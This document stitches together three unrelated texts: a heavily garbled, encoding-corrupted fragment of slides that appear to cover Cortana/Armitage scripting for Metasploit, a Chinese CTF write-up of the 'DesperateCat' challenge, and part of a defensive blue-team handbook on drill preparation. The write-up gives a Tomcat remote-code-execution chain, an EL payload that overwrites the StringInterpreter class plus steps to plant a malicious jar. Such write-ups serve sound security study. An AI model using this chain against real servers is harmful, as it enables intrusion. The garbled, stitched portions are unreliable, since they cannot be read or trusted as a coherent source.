e'0-+=A6'&-+!'-+ A7+0'6B;0$+' 6"*$7+89:")$%$)"&' H$0C-#B' !  =+@")-+-'+#')-&'7+0200/')0+ "  f/-8+A(7-/672+"#-'&0+(0/)%+-82A+ "  f/-8+"00(&")#2+-8"-+-82+0#&/6-+@')D-+7'02+#')-&'7+ J*8.=$07/2' !  =)-2&"#-/)%+@/-8+"+:2-2&6&2-2&+0200/')W+ on meterpreter_command { # $1 = session id # $2 = command and arguments # $3 = output 
 } m_cmd(session id, “command”); J*8.=$07/2' !  =)-2&"#-/)%+@/-8+"+6&'#200+-8&'(%8+"+A2-2&6&2-2&+ 0200/')W+ on exec_command { # $1 = session id # $2 = command and arguments # $3 = output 
 } m_exec(session id, “command”); J*8.=$07/2' !  =)-2&"#-/)%+@/-8+"+I8277+0200/')W+ on shell_command { # $1 = session id # $2 = command and arguments # $3 = output 
 } s_cmd(session id, “command”); B+#''7+*2A'+ 5+-%;)"#'<"1),)=%$)"&' H$0C-#B' !  =+@")-+-'+"7-2&+8'@+B&A/-"%2+*'20+g+ "  <02+"+*/[2&2)-+6"E7'"*+>'&+#2&-"/)+"--"#$0+ "  =)-2%&"-2+"+*/[2&2)-+252#(-"172+@/-8+60252#+ "  :'*/>E+B&A/-"%2+/#')+*/067"E+ J*8.=$07/2' !  F/7-2&0L+8''$+")+"#-/')+")*+#8")%2+-82+ 6"&"A2-2&0+ filter some_filter_name {
 # inspect $1, $2, $3, etc. return @_; } B)'-82&+#''7+*2A'+ >*+#'?&$+#,%=+' H$0C-#B' !  =+@")-+-'+25-2)*+B&A/-"%2+@/-8+)2@+>2"-(&20+ "  =)-2%&"-2+-8/&*46"&-E+-''70+ "  K56'02+:2-"067'/-+F&"A2@'&$+>2"-(&20+ "  ,')-&'7+,'&-")"+#"6"1/7/-/20+ J*8.=$07/2' !  ,'&-")"+0#&/6-0+A"EW+ "  .2;)2+$2E1'"&*+08'&-#(-0+ "  .2;)2+6'6(6+A2)(0+ "  ,&2"-2+#')0'72+-"1+/)-2&>"#20+ "  ,&2"-2+-"172+/)-2&>"#20+ ?82+7"0-+#''7+*2A'+ ?0$+*/*9'()*+'%,'%+D' !  B+I#&/6-/)%+M")%("%2+-'W+ "  B(-'A"-2+:2-"067'/-+F&"A2@'&$+ "  K5-2)*+B&A/-"%2+ @7BB*$3' !  !"#$%&'()*+ !  ,'&-")"+ !  ./0-&/1(-2*+!'-0+ !  3'0-42567'/-"-/')+ !  !28"9/'&+:'*/;#"-/')+ !  <02&+=)-2&>"#2+ ?8/0+@'&$+@"0+A"*2+6'00/172+-8&'(%8+.BC3BD0+ ,E12&+F"0-+?&"#$+6&'%&"AG+ ()#$#'+0'=0'E$0B')#$#G' !  ?@/--2&W+h"&A/-"%28"#$2&+ !  KA"/7W+&0A(*%2h%A"/7G#'A+ ,'&-")"+/0+6'0-2*+"-W+ !  fffW+8--6W\\@@@G>"0-")*2"0E8"#$/)%G#'A+
pdf
DesperateCat 题⽬环境 JDK8u311 Tomcat9.0.56 分析 ⾸先拿到这个源码我们看什么 看web.xml,从这⾥我们发现只有⼀个类,简简单单⼏秒看完这个函数 不想贴代码了,占地⽅,总结说来提供了⼀个POST⽅法,这⾥能让我们去上传任意⽂件,配 合部分的任意内容,为什么是部分呢,请看下⾯ <servlet> <servlet-name>ExportServlet</servlet-name> <servlet-class>org.rwctf.servlets.ExportServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ExportServlet</servlet-name> <url-pattern>/export</url-pattern> </servlet-mapping> 脏数据达咩,并且这⾥也规定了编码格式UTF-8,所以也别想什么编码的trick了,那接下来我 们很容易想到是不是可以通过标签去搞事情呢,很遗憾不⾏ 这⾥是单字符替换,写的也没⽑病,所以咋也别想太多绕过jsp啥的,这⾥很明显就是让我们 ⽤el表达式了,但是,又来了新的问题,el表达式要想执⾏⽅法怎么办!!我们知道执⾏函数 ⽅法是需要 () ,⽽这⾥也被过滤了 两个重要的Trick 这个后⾯回⽤到,当然我不想去分析为什么el表达式这样可以,有兴趣⾃⼰跟下源码 a["classes"]等价于a.getclasses()它会去去调⽤get开头的函数 同理我们也可以赋值 a["classes"] = "wsnd";他会去通过set赋值 还有炒冷饭学起来:Spring framework(cve-2010-1622)漏洞利⽤指南 | 空虚浪⼦⼼的灵魂 (inbreak.net) 虽然不是靠这篇⽂章就能解决,但是我们也知道了利⽤ el api 3.0 的赋值操作覆盖某些属性的 值可能导致rce,接下来我们就来看看如何能让他rce呢 探索开始 String data = "DIRTY DATA AT THE BEGINNING " + content + " DIRTY DATA AT THE END"; this.writeBytesToFile(saveFile, data.getBytes(StandardCharsets.UTF_8)); 这⾥我们需要⽤到applicationScope,⾸先我们看看这⾥都有⼀些什么重要的属 性, ${applicationScope} 直接通过el是⾃带out.write的⽅便我们查看 这⾥我们暂时只需要关注 org.apache.jasper.compiler.StringInterpreter ,那么这 是什么呢 如何利⽤org.apache.jasper.compiler.StringInterpreter ⾸先我们需要知道这个org.apache.jasper.compiler.StringInterpreter到底是什么,它是⼀个接⼜, 那这个接⼜是⼲什么的呢,可以看到它的描述 Defines the interface for the String interpreter. This allows users to provide custom String interpreter implementations that can optimise String processing for an application by performing code generation for a sub-set of Strings. 翻译过来就是定义了字符串解释器的接⼜。这允许⽤户提供⾃定义的字符串解释器实现,通 过对字符串的⼦集进⾏代码⽣成,可以为应⽤程序优化字符串处理。很通俗易懂是吧,好的 我们继续 另外,在jsp的编译过程中,在 org/apache/jasper/compiler/Generator.java 中他会执 ⾏ getStringInterpreter 继续跟⼊看看 这⾥从ApplicationContext上下⽂获取,之后看到上⾯那张图 createInstance 对这个获取到的类进⾏实例化 这是部分调⽤栈 那么如何让让jsp执⾏上⾯的编译呢,很简单,有两种⽅式: 1.初次启动tomcat的时候访问 2.若tomcat启动后,我们只需要再往⾥⾯写⼀个jsp访问即可 因此我们便很容易能想到接下来的操作,通过第⼆种⽅式啦,接下来我们只需要让 org.apache.jasper.compiler.StringInterpreter为我们的恶意类,如何赋值也很简单,通过 param.a 去去的get请求中的参数a的值,简简单单绕过双引号即可,或者cookie也⾏姿势太多 此时我们只需要传⼊ private static StringInterpreter createInstance(ServletContext context, String className) throws Exception { return (StringInterpreter) context.getClassLoader().loadClass( className).getConstructor().newInstance(); } getStringInterpreter:54, StringInterpreterFactory (org.apache.jasper.compiler) <init>:3544, Generator (org.apache.jasper.compiler) generate:3593, Generator (org.apache.jasper.compiler) generateJava:257, Compiler (org.apache.jasper.compiler) compile:391, Compiler (org.apache.jasper.compiler) compile:367, Compiler (org.apache.jasper.compiler) compile:351, Compiler (org.apache.jasper.compiler) compile:605, JspCompilationContext (org.apache.jasper) ${applicationScope[param.a]=param.b} a=org.apache.jasper.compiler.StringInterpreter&b=com.test.YYDS(这玩意⼉是我 写的恶意类) 好了这个问题解决了,接下来解决下⼀个问题,如何将恶意类加载进去呢,很简单 加载恶意类到JVM 我们只需要往we b.xml中写⼊⼀点不影响本⾝逻辑运⾏的东西即可,⽐如简简单单插⼊注释, 之后就会把 /WEB-INF/lib 下的jar包加载进来,看看关键逻辑,其他细节⾃⼰看 org.apache.jasper.servlet.TldScanner#scanJars 梳理利⽤思路 1.写⼀个恶意类并编译成jar 2.将这个jar⽂件上传到 /WEB-INF/lib 下 3.往web.xml当中随便插⼊点注释,使这个jar包加载到jvm 4.上传⼀个jsp⽂件内容为 ${applicationScope[param.a]=param.b} ,并⽤⼩⼿访问这个 jsp⽂件传⼊ a=org.apache.jasper.compiler.StringInterpreter&b=com.test.YYDS 后⾯为恶意类 5.再上传⼀个啥内容都⾏的jsp,⽬的是执⾏compile到关键地⽅,通过 StringInterpreterFactory.getStringInterpreter ,实例化恶意类 到了这⾥是不是更疑惑了,你不是有脏数据吗,怎么做jar呢,很好我也不知道,就卡在这⾥ 了,但思路没错 结果 通过这个思路,确实计算器弹出来
pdf
实战攻防演习之 蓝队视角下的防御体系构建 1 实战攻防演习之 蓝队视角下的防御体系构建 3 前 言 网络实战攻防演习,是新形势下关键信息系统网络 安全保护工作的重要组成部分。演习通常是以实际运 行的信息系统为保护目标,通过有监督的攻防对抗, 最大限度地模拟真实的网络攻击,以此来检验信息系 统的实际安全性和运维保障的实际有效性。 2016年以来,在国家监管机构的有力推动下,网 络实战攻防演习日益得到重视,演习范围越来越广, 演习周期越来越长,演习规模越来越大。国家有关部 门组织的全国性网络实战攻防演习从2016年仅有几家 参演单位,到2019年已扩展到上百家参演单位;同时 各省、各市、各行业的监管机构,也都在积极地筹备 和组织各自管辖范围内的实战演习。一时间,网络实 战攻防演习遍地开花。 在演习规模不断扩大的同时,攻防双方的技术水平 和对抗能力也在博弈中不断升级。 2016年,网络实战攻防演习尚处于起步阶段,攻 防重点大多集中于互联网入口或内网边界。 2017年,实战攻防演习开始与重大活动的网络安 全保障工作紧密结合。就演习成果来看,从互联网侧 实战攻防演习之 蓝队视角下的防御体系构建 4 发起的直接攻击仍然普遍十分有效;而系统的外层防 护一旦被突破,横向移动、跨域攻击,往往都比较容 易实现。 2018年,网络实战攻防演习开始向行业和地方深 入。伴随着演习经验的不断丰富和大数据安全技术的 广泛应用,防守方对攻击行为的监测、发现和溯源能 力大幅增强,与之相应的,攻击队开始更多地转向精 准攻击和供应链攻击等新型作战策略。 2019年以来.网络实战攻防演习工作受到了监 管部门、政企机构和安全企业的空前重视。流量分 析、EDR、蜜罐、白名单等专业监测与防护技术被防 守队广泛采用。攻击难度的加大也迫使攻击队全面升 级,诸如0day漏洞攻击、1day漏洞攻击、身份仿冒、 钓鱼WiFi、鱼叉邮件、水坑攻击等高级攻击手法,在 实战攻防演练中均已不再罕见,攻防演习与网络实战 的水平更加接近。 如何更好地参与网络实战攻防演习?如何更好地借 助实战攻防演习提升自身的安全能力?这已经成为大 型政企机构运营者关心的重要问题。 作为国内领先的网络安全企业,奇安信集团已成为 全国各类网络实战攻防演习的主力军。奇安信集团安 实战攻防演习之 蓝队视角下的防御体系构建 5 服团队结合200余次实战攻防演习经验,总结编撰了这 套实战攻防演习系列丛书,分别从红队视角、蓝队视 角和紫队视角,来解读网络实战攻防演习的要领,以 及如何结合演习提升政企机构的安全能力。 需要说明的是,实战攻防演习中的红方与蓝方对抗 实际上是沿用了军事演习的概念和方法,一般来说, 红方与蓝方分别代表攻击方与防守方。不过,红方和 蓝方的名词定义尚无严格的规定,也有一些实际的攻 防演习,将蓝队设为攻击队、将红队设为防守队。在 本系列丛书中,我们依据绝大多数网络安全工作者的 习惯,统一将攻击队命名为红队,将防守队命名为蓝 队,而紫队则代表组织演练的机构。 《蓝队视角下的防御体系构建》是本系列丛书的第 二本。本书希望通过归纳总结蓝队防御的三个阶段、 应对攻击的常用策略,以及建立实战化的安全体系的 基本方法,帮助政企机构弥补薄弱环节,更好地提升 演习水平,构筑更有效的安全防御体系。 实战攻防演习之 蓝队视角下的防御体系构建 6 目 录 第一章 什么是蓝队.......................................1 第二章 蓝队三步走——防守的三个阶段............4 一、备战阶段——不打无准备之仗........................4 二、实战阶段——全面监测及时处置....................6 三、战后整顿——实战之后的改进........................8 第三章 蓝队应对攻击的常用策略.....................9 一、防微杜渐:防范被踩点...................................9 二、收缩战线:收敛攻击面.................................10 三、纵深防御:立体防渗透.................................12 四、守护核心:找到关键点.................................14 五、洞若观火:全方位监控.................................15 实战攻防演习之 蓝队视角下的防御体系构建 7 第四章 建立实战化的安全体系......................17 一、认证机制逐步向零信任架构演进..................17 二、建立面向实战的纵深防御体系......................19 三、强化行之有效的威胁监测手段......................20 四、建立闭环的安全运营模式.............................21 附录 奇安信蓝队能力及攻防实践..................24 实战攻防演习之 蓝队视角下的防御体系构建 1 第一章 什么是蓝队 蓝队,一般是指网络实战攻防演习中的防守一方。 蓝队一般是以参演单位现有的网络安全防护体系为 基础,在实战攻防演习期间组建的防守队伍。蓝队的 主要工作包括前期安全检查、整改与加固,演习期间 进行网络安全监测、预警、分析、验证、处置,后期 复盘总结现有防护工作中的不足之处,为后续常态化 的网络安全防护措施提供优化依据。 实战攻防演习时,蓝队通常会在日常安全运维工作 的基础上,以实战思维进一步加强安全防护措施、提 升管理组织规格、扩大威胁监控范围、完善监测与防 护手段、增加安全分析频率、提高应急响应速度,提 升防守能力。 特别需要说明的是:蓝队并不仅仅由实战演习中目 标系统运营单位一家独立承担,而是由目标系统运营 单位、攻防专家、安全厂商、软件开发商、网络运维 队伍、云提供商等多方组成的防守队伍。 下面是组成蓝队的各个团队在演习中的角色与分工 情况: 实战攻防演习之 蓝队视角下的防御体系构建 2 目标系统运营单位:负责蓝队整体的指挥、组织和 协调; 安全运营团队:负责整体防护和攻击监控工作; 攻防专家:负责对安全监控中发现的可疑攻击进行 分析研判,指导安全运营团队、软件开发商等相关部 门进行漏洞整改等一系列工作; 安全厂商:负责对自身产品的可用性、可靠性和防 护监控策略是否合理进行调整; 软件开发商:负责对自身系统安全加固、监控和配 合攻防专家对发现的安全问题进行整改; 网络运维队伍:负责配合安全专家对网络架构安 全、出口整体优化、网络监控、溯源等工作; 云提供商(如有):负责对自身云系统安全加固,以 及对云上系统的安全性进行监控,同时协助攻防专家 对发现的问题进行整改。 某些情况下,还会有其他组成人员,这需要根据实 际情况具体分配工作。 特别的,作为蓝队,了解对手(红队)非常重要。 实战攻防演习之 蓝队视角下的防御体系构建 3 知彼才能知己。从攻击者角度出发,了解攻击者的思 路与打法,了解攻击者思维,并结合本单位实际网络 环境、运营管理情况,制定相应的技术防御和响应机 制,才能在防守过程中争取主动权。 实战攻防演习之 蓝队视角下的防御体系构建 4 第二章 蓝队三步走——防守的三个阶段 在实战环境下的防护工作,无论是面对常态化的一 般网络攻击,还是面对有组织、有规模的高级攻击, 对于防护单位而言,都是对其网络安全防御体系的直 接挑战。在实战环境中,蓝队需要按照备战、实战和 战后三个阶段来开展安全防护工作。 一、备战阶段——不打无准备之仗 在实战攻防工作开始之前,首先应当充分地了解 自身安全防护状况与存在的不足,从管理组织架构、 技术防护措施、安全运维处置等各方面能进行安全评 估,确定自身的安全防护能力和工作协作默契程度, 为后续工作提供能力支撑。这就是备战阶段的主要工 作。 在实战攻防环境中,我们往往会面临技术、管理和 运营等多方面限制。技术方面:基础能力薄弱、安全 策略不当和安全措施不完善等问题普遍存在;管理方 面:制度缺失,职责不明,应急响应机制不完善等问 题也很常见;运营方面:资产梳理不清晰、漏洞整改 不彻底、安全监测分析与处置能力不足等问题随处可 见。这些不足往往会导致整体防护能力存在短板,对 安全事件的监测、预警、分析和处置效率低下。 实战攻防演习之 蓝队视角下的防御体系构建 5 针对上述情况,蓝队在演习之前,需要从以下几个 方面进行准备与改进: 1)技术方面 为了及时发现安全隐患和薄弱环节,需要有针对 性地开展自查工作,并进行安全整改加固,内容包 括系统资产梳理、安全基线检查、网络安全策略检 查、Web安全检测、关键网络安全风险检查、安全措 施梳理和完善、应急预案完善与演练等。 2)管理方面 一是建立合理的安全组织架构,明确工作职责, 建立具体的工作小组,同时结合工作小组的责任和内 容,有针对性地制定工作计划、技术方案及工作内 容,责任到人、明确到位,按照工作实施计划进行进 度和质量把控,确保管理工作落实到位,技术工作有 效执行。 二是建立有效的工作沟通机制,通过安全可信的 即时通讯工具建立实战工作指挥群,及时发布工作通 知,共享信息数据,了解工作情况,实现快速、有效 的工作沟通和信息传递。 实战攻防演习之 蓝队视角下的防御体系构建 6 3)运营方面 成立防护工作组并明确工作职责,责任到人,开展 并落实技术检查、整改和安全监测、预警、分析、验证 和处置等运营工作,加强安全技术防护能力。完善安全 监测、预警和分析措施,建立完善的安全事件应急处置 机构和可落地的流程机制,提高事件的处置效率。 同时,所有的防护工作包括预警、分析、验证、 处置和后续的整改加固都必须以监测发现安全威胁、 漏洞隐患为前提才能开展。其中,全流量安全威胁检 测分析系统是防护工作的重要关键节点,并以此为核 心,有效地开展相关防护工作。 二、实战阶段——全面监测及时处置 攻守双方在实战阶段正式展开全面对抗。防护方须 依据备战明确的组织和职责,集中精力和兵力,做到 监测及时、分析准确、处置高效,力求系统不破,数 据不失。 在实战阶段,从技术角度总结应重点做好以下三 点: 实战攻防演习之 蓝队视角下的防御体系构建 7 1)做好全局性分析研判工作 在实战防护中,分析研判应作为核心环节,分析研 判人员要具备攻防技术能力,熟悉网络和业务。分析 研判人员作为整个防护工作的大脑,应充分发挥专家 和指挥棒的作用,向前,对监测人员发现的攻击预警 进行分析确认并溯源,向后,指导协助事件处置人员 对确认的攻击进行处置。 2)全面布局安全监测预警 安全监测须尽量做到全面覆盖,在网络边界、内网 区域、应用系统、主机系统等方面全面布局安全监测 手段,同时,除了IDS、WAF等传统安全监测手段外, 尽量多使用天眼全流量威胁检测、网络分析系统、蜜 罐、主机加固等手段,只要不影响业务,监测手段越 多元化越好。 3)提高事件处置效率效果 安全事件发生后,最重要的是在最短时间内采取技 术手段遏制攻击、防止蔓延。事件处置环节,应联合 网络、主机、应用和安全等多个岗位人员协同处置。 实战攻防演习之 蓝队视角下的防御体系构建 8 三、战后整顿——实战之后的改进 演习的结束也是防护工作改进的开始。在实战工 作完成后应进行充分、全面复盘分析,总结经验、教 训。应对准备、预演习、实战等阶段工作中各环节的 工作进行全面复盘,复查层面包括工作方案、组织管 理、工作启动会、系统资产梳理、安全自查及优化、 基础安全监测与防护设备的部署、安全意识、应急预 案及演练和注意事项等所有方面。 针对复盘中暴露出的不足之处,如管理层面的不完 善、技术层面需优化的安全措施和策略、协调处置工 作层面上的不足、人员队伍需要提高的技术能力等各 个方面,应进行立即整改,整改加固安全漏洞隐患, 完善安全防护措施,优化安全策略,强化人员队伍技 术能力,有效提升整体网络安全防护水平。 实战攻防演习之 蓝队视角下的防御体系构建 9 第三章 蓝队应对攻击的常用策略 未知攻焉知防。如果企业安全部门不了解攻击者的 攻击思路、常用手段,有效的防守将无从谈起。从攻 击者实战视角去加强自身防护能力,将是未来的主流 防护思想。 攻击者一般会在前期搜集情报,寻找突破口、建立 突破据点;中期横向移动打内网,尽可能多地控制服 务器或直接打击目标系统;后期会删日志、清工具、 写后门建立持久控制权限。针对攻击者或红队的常用 套路,蓝队应对攻击的常用策略可总结为:防微杜 渐、收缩战线、纵深防御、核心防护、洞若观火等。 一、防微杜渐:防范被踩点 攻击者首先会通过各种渠道收集目标单位的各种信 息,收集的情报越详细,攻击则会越隐蔽,越快速。 前期防踩点,首先要尽量防止本单位敏感信息泄露在 公共信息平台,加强人员安全意识,不准将带有敏感 信息的文件上传至公共信息平台。 社工也是攻击者进行信息收集和前期踩点的重要手 段,要定期对信息部门重要人员进行安全意识培训, 如:来路不明的邮件附件不要随便点开,聊天软件未 实战攻防演习之 蓝队视角下的防御体系构建 10 经身份确认不要随便添加。此外,安全管理和安全意 识培训难免也会有漏网之鱼,安全运营部门应定期在 一些信息披露平台搜索本单位敏感词,查看是否存在 敏感文件泄露情况。 二、收缩战线:收敛攻击面 门用于防盗,窗户没关严也会被小偷得逞。攻击 者往往不会正面攻击防护较好的系统,而是找一些可 能连防守者自己都不知道的薄弱环节下手。这就要求 防守者一定要充分了解自己暴露在互联网的系统、 端口、后台管理系统、与外单位互联的网络路径等 信息。哪方面考虑不到位、哪方面往往就是被攻陷的 点。互联网暴露面越多,越容易被攻击者“声东击西” ,最终导致防守者顾此失彼,眼看着被攻击却无能为 力。结合多年的防守经验,可从如下几方面收敛互联 网暴露面。 1)攻击路径梳理 由于网络不断变化、系统不断增加,往往会产生新 的网络边界和新的系统。蓝队(防守单位)一定要定 期梳理自己的网络边界、可能被攻击的路径,尤其是 内部系统全国联网的单位更要注重此项梳理工作。 实战攻防演习之 蓝队视角下的防御体系构建 11 2)互联网攻击面收敛 一些系统维护者为了方便,往往会把维护的后台、 测试系统和端口私自开放在互联网上,方便维护的同 时也方便了攻击者。攻击者最喜欢攻击的WEB服务就 是网站后台,以及安全状况比较差的测试系统。蓝队 须定期检测如下内容:开放在互联网的管理后台、开 放在互联网上的测试系统、无人维护的僵尸系统、拟 下线未下线的系统、疏漏的未纳入防护范围的互联网 开放系统。 3)外部接入网络梳理 如果正面攻击不成,红队或攻击者往往会选择攻击 供应商、下级单位、业务合作单位等与目标单位有业 务连接的其他单位,通过这些单位直接绕到目标系统 内网。防守单位应对这些外部的接入网络进行梳理, 尤其是未经过安全防护设备就直接连进来的单位,应 先连接防护设备,再接入内网。 4)隐蔽入口梳理 由于API接口、VPN、WiFi这些入口往往会被安全 人员忽略,这往往是攻击者最喜欢打的入口,一旦搞 定则畅通无阻。安全人员一定要梳理WEB服务的API隐 实战攻防演习之 蓝队视角下的防御体系构建 12 藏接口、不用的VPN、WiFi账号等,便于重点防守。 三、纵深防御:立体防渗透 前期工作做完后,真正的防守考验来了。防守单位 在互联网上的冠名网站、接口、VPN等对外服务必然 会成为攻击者的首要目标。一旦一个点突破后,攻击 者会迅速进行横向突破,争取控制更多的主机,同时 试图建立多条隐蔽隧道,巩固成果,使防守者顾此失 彼。 此时,战争中的纵深防御理论就很适用于网络防 守。互联网端防护、内外部访问控制(安全域间甚至 每台机器之间)、主机层防护、重点集权系统防护、 无线网络防护、外部网络接入防护甚至物理层面的防 护,都需要考虑进去。通过层层防护,尽量拖慢攻击 者扩大战果的时间,将损失降至最小。 1)互联网端防护 互联网作为防护单位最外部的接口,是重点防护区 域。互联网端的防护工作可通过部署网络防护设备和 开展攻击检测两方面开展。需部署的网络防护设备包 括:下一代防火墙、防病毒网关、全流量分析设备、 防垃圾邮件网关、WAF(云WAF)、IPS等。攻击检测 实战攻防演习之 蓝队视角下的防御体系构建 13 方面。如果有条件,可以事先对互联网系统进行一次 完整的渗透测试,检测互联网系统安全状况,查找存 在的漏洞。 2)访问控制措施 互联网及内部系统、网段和主机的访问控制措施, 是阻止攻击者打点、内部横向渗透的最简单有效的防 护手段。防守者应依照“必须原则”,只给必须使用的 用户开放访问权限,按此原则梳理访问控制策略,禁 止私自开放服务或者内部全通的情况出现,通过合理 的访问控制措施尽可能地为攻击者制造障碍。 3)主机防护 当攻击者从突破点进入内网后,首先做的就是攻击 同网段主机。主机防护强度直接决定了攻击者内网攻 击成果的大小。防守者应从以下几个方面对主机进行 防护:关闭没用的服务;修改主机弱口令;高危漏洞 必须打补丁(包括装在系统上的软件高危漏洞);安 装主机和服务器安全软件;开启日志审计。 4)集权系统 集权系统是攻击者最喜欢打的内部系统,一旦被拿 下,则集权系统所控制的主机可同样视为已被拿下, 实战攻防演习之 蓝队视角下的防御体系构建 14 杀伤力巨大。集权系统是内部防护的重中之重。 蓝队或防守者一般可从以下方面做好防护:集权系 统的主机安全;集权系统访问控制;集权系统配置安 全;集权系统安全测试;集权系统已知漏洞加固或打 补丁;集权系统的弱口令等。 5)无线网络 不安全的开放无线网络也有可能成为攻击者利用的 攻击点。无线开放网络与业务网络应分开。一般建议 无线网接入采用强认证和强加密。 6)外部接入网络 如果存在外部业务系统接入,建议接入的系统按照 互联网防护思路,部署安全设备,并对接入的外部业 务系统进行安全检测,确保接入系统的安全性,防止 攻击者通过这些外部业务系统进行旁路攻击。 四、守护核心:找到关键点 核心目标系统是攻击者的重点攻击目标,也应重点 防护。上述所有工作都做完后,还需要重点梳理:目 标系统和哪些业务系统有联系?目标系统的哪些服务 或接口是开放的?传输方式如何?梳理得越细越好。 实战攻防演习之 蓝队视角下的防御体系构建 15 同时还须针对重点目标系统做一次交叉渗透测试,充 分检验目标系统的安全性。协调目标系统技术人员及 专职安全人员,专门对目标系统的进出流量、中间件 日志进行安全监控和分析。 五、洞若观火:全方位监控 任何攻击都会留下痕迹。攻击者会尽量隐藏痕迹、 防止被发现;而防守者恰好相反,需要尽早发现攻击 痕迹,并通过分析攻击痕迹,调整防守策略、溯源攻 击路径、甚至对可疑攻击源进行反制。建立全方位的 安全监控体系是防守者最有力的武器,总结多年实战 经验,有效的安全监控体系需在如下几方面开展: 1)全流量网络监控 任何攻击都要通过网络,并产生网络流量。攻击数 据和正常数据肯定是不同的,通过全网络流量去捕获 攻击行为是目前最有效的安全监控方式。蓝队或防守 者通过全流量安全监控设备,结合安全人员的分析, 可快速发现攻击行为,并提前做出针对性防守动作。 2)主机监控 任何攻击最终都会落到主机(服务器或终端)上。 通过部署合理的主机安全软件,结合网络全流量监控 实战攻防演习之 蓝队视角下的防御体系构建 16 措施,可以更清晰、准确、快速地找到攻击者的真实 目标主机。 3)日志监控 对系统和软件的日志监控同样必不可少。日志信息 是帮助防守者分析攻击路径的一种有效手段。攻击者 攻击成功后,打扫战场的首要任务就是删除日志,或 者切断主机日志的外发,以防止防守者追踪。防守者 应建立一套独立的日志分析和存储机制,重要目标系 统可派专人对目标系统日志和中间件日志进行恶意行 为监控分析。 4)情报监控 高端攻击者会用0day或Nday漏洞来打击目标系 统、穿透所有防守和监控设备,防守者对此往往无能 为力。防守单位可通过与更专业的安全厂商合作,建 立漏洞通报机制,安全厂商应将检测到的与防守单位 信息资产相关的0day或Nday漏洞快速通报给防守单 位。防守单位根据获得的情报,参考安全厂商提供的 解决方案,迅速自查处置,将损失减到最少。 实战攻防演习之 蓝队视角下的防御体系构建 17 第四章 建立实战化的安全体系 安全的对抗是动态的过程。业务在发展,网络在变 化,技术在变化,人员在变化,攻击手段也在不断变 化。网络安全没有“一招鲜”的方式,需要在日常工作 中,不断积累不断创新,不断适应变化。面对随时可 能威胁系统的各种攻击,不能临阵磨枪、仓促应对, 必须立足根本、打好基础,加强安全建设、优化安全 运维,并针对各种攻击事件采取重点防护。蓝队或防 守单位不应以“修修补补,哪里出问题堵哪里”的思维 来解决问题,而应未雨绸缪,从管理、技术、运行等 方面建立实战化的安全体系,有效应对实战环境下的 安全挑战。 一、认证机制逐步向零信任架构演进 从实战攻防对抗的结果来看,传统网络安全边界正 在被瓦解,无穷无尽的攻击手段导致单位网络安全防 护措施难以起到效果,网络是不可信任的。在这种情 况下,应该将关注点从“攻击面”向“保护面”上转移, 而零信任安全则是从“保护面”上考虑,提出了解决安 全问题,提高防御能力的一种新思路。 零信任安全针对传统边界安全架构思想进行了重新 评估和审视,并对安全架构思路给出了新的建议,其 实战攻防演习之 蓝队视角下的防御体系构建 18 核心思想是:默认情况下不应该信任网络内部和外部 的任何人、设备和系统,需要基于认证和授权重构访 问控制的信任基础。零信任对访问控制进行了范式上 的颠覆,引导安全体系架构从网络中心化走向身份中 心化,其本质诉求是以身份为中心进行访问控制。 零信任体系会将访问控制权从边界转移到个人设备 与用户上,打破传统边界防护思维,建立以身份为信 任基础的机制,遵循先验证设备和用户、后访问业务 的原则,不再自动信任内部或外部任何人、设备和应 用,在授权前对任何试图接入网络和访问业务应用的 人、设备或应用都进行验证,并提供动态的细粒度访 问控制策略以满足最小权限原则。 零信任体系把防护措施建立在应用层面,构建从访 问主体到客体之间端到端的、最小授权的业务应用动 态访问控制机制,极大地收缩了攻击面。零信任安全 在实践机制上拥抱灰度,兼顾难以穷尽的边界情况, 最终以安全与易用平衡的持续认证,改进原有固化的 一次性强认证,以基于风险和信任持续度量的动态授 权替代简单的二值判定静态授权,以开放智能的身份 治理优化封闭僵化的身份管理,提升了对内外部攻击 和身份欺诈的发现和响应能力。建议单位网络安全基 础架构逐步向零信任体系演进。 实战攻防演习之 蓝队视角下的防御体系构建 19 二、建立面向实战的纵深防御体系 实战攻防演习的真实对抗表明,攻防是不对称的, 通常情况下,攻击只需要撕开一个点,就会有所“收 获”,甚至可以通过攻击一个点,拿下一座“城池”; 但对于防守工作来说,考虑的却是安全工作的方方面 面,仅关注某个或某些防护点,已经满足不了防护需 求。实战攻防演习过程中,攻击者或多或少还有些攻 击约束要求,但真实的网络攻击则完全无拘无束,与 实战攻防演习相比较,真实的网络攻击更加隐蔽而强 大。 为应对真实网络攻击行为,仅仅建立合规型的安全 体系是远远不够的。随着云计算、大数据、人工智能 等新型技术的广泛应用,信息基础架构层面变得更加 复杂,传统的安全思路已越来越难以适应安全保障能 力的要求。必须通过新思路、新技术、新方法,从体 系化的规划和建设角度,建立纵深防御体系架构,整 体提升面向实战的防护能力。 从应对实战角度出发,对现有安全架构进行梳理, 以安全能力建设为核心思路,面向主要风险重新设计 企业整体安全架构,通过多种安全能力的组合和结构 性设计形成真正的纵深防御体系,并努力将安全工作 前移,确保安全与信息化“三同步”(同步规划、同步 实战攻防演习之 蓝队视角下的防御体系构建 20 建设、同步使用),建立起能够具备实战防护能力、 有效应对高级威胁、持续迭代演进提升的安全防御体 系。 三、强化行之有效的威胁监测手段 在实战攻防对抗中,监测分析是发现攻击行为的主 要方式,在第一时间发现攻击行为,可为应对和响应 处置提供及时支撑,威胁监测手段在防护工作中至关 重要。通过对多个单位安全防护工作进行总结分析, 威胁监测手段方面存在的问题主要是: 1)没有针对全流量威胁进行监测,导致分析溯源 工作无法开展; 2)有全流量威胁监测手段,但流量覆盖不完全, 存在监测盲区; 3)只关注网络监测,忽视主机层面的监测,当主 机发生异常时不易察觉; 4)缺乏对邮件安全的监测,使得钓鱼邮件,恶意 附件在网络中畅通无阻; 5)没有变被动为主动,缺乏蜜罐等技术手段,无 法捕获攻击、进一步分析攻击行为。 实战攻防演习之 蓝队视角下的防御体系构建 21 针对上述存在的问题,强化行之有效的威胁监测手 段,建立以全流量威胁监测分析为“大脑”,以主机监 测、邮件安全监测为“触角”,以蜜罐监测为“陷阱”, 以失陷检测为辅助手段的全方位安全监测机制,更加 有效地满足实战环境下的安全防守要求。 四、建立闭环的安全运营模式 分析发现,凡是日常安全工作做得较好的单位,基 本都能够在实战攻防演习时较快地发现攻击行为,各 部门之间能够按照约定的流程,配合得当、快速完成 事件处置,在自身防护能力、人员协同等方面较好地 应对攻击。 反之,日常安全工作较差的单位,大多都会暴露 出如下问题:很多基础性工作没有开展,缺少相应的 技术保障措施,自身防护能力欠缺;日常安全运维不 到位,流程紊乱,各部门人员配合难度大。这些问题 